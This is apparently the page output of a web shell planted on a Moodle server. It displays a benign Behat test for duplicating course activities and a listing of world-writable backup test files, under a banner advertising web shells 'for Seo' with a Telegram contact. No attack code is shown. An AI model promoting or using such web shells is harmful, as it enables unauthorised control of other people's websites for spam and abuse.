__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
@core @core_backup
Feature: Duplicate activities
In order to set up my course contents quickly
As a teacher
I need to duplicate activities inside the same course
Scenario: Duplicate an activity
Given the following "course" exists:
| fullname | Course 1 |
| shortname | C1 |
| category | 0 |
| initsections | 1 |
And the following "users" exist:
| username | firstname | lastname | email |
| teacher1 | Teacher | 1 | teacher1@example.com |
And the following "course enrolments" exist:
| user | course | role |
| teacher1 | C1 | editingteacher |
And the following "activities" exist:
| activity | name | intro | course | idnumber | section |
| data | Test database name | Test database description | C1 | database1 | 1 |
And the following config values are set as admin:
| backup_import_activities | 0 | backup |
And I log in as "teacher1"
And I am on "Course 1" course homepage with editing mode on
And I duplicate "Test database name" activity
And I should see "Test database name (copy)"
And I wait until section "1" is available
And I click on "Edit settings" "link" in the "Test database name" activity
And I set the following fields to these values:
| Name | Original database name |
And I press "Save and return to course"
And I click on "Edit settings" "link" in the "Test database name (copy)" activity
And I set the following fields to these values:
| Name | Duplicated database name |
| Description | Duplicated database description |
And I press "Save and return to course"
Then I should see "Original database name" in the "Section 1" "section"
And I should see "Duplicated database name" in the "Section 1" "section"
And "Original database name" "link" should appear before "Duplicated database name" "link"
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| backup_courses.feature | File | 2.87 KB | 0777 |
|
| backup_xapistate.feature | File | 5.9 KB | 0777 |
|
| behat_backup.php | File | 17.09 KB | 0777 |
|
| duplicate_activities.feature | File | 1.92 KB | 0777 |
|
| import_contentbank_content.feature | File | 2.87 KB | 0777 |
|
| import_course.feature | File | 4.45 KB | 0777 |
|
| import_groups.feature | File | 2.01 KB | 0777 |
|
| restore_moodle2_courses.feature | File | 15.92 KB | 0777 |
|
| restore_moodle2_courses_settings.feature | File | 5.81 KB | 0777 |
|
| schema_select_all.feature | File | 15.68 KB | 0777 |
|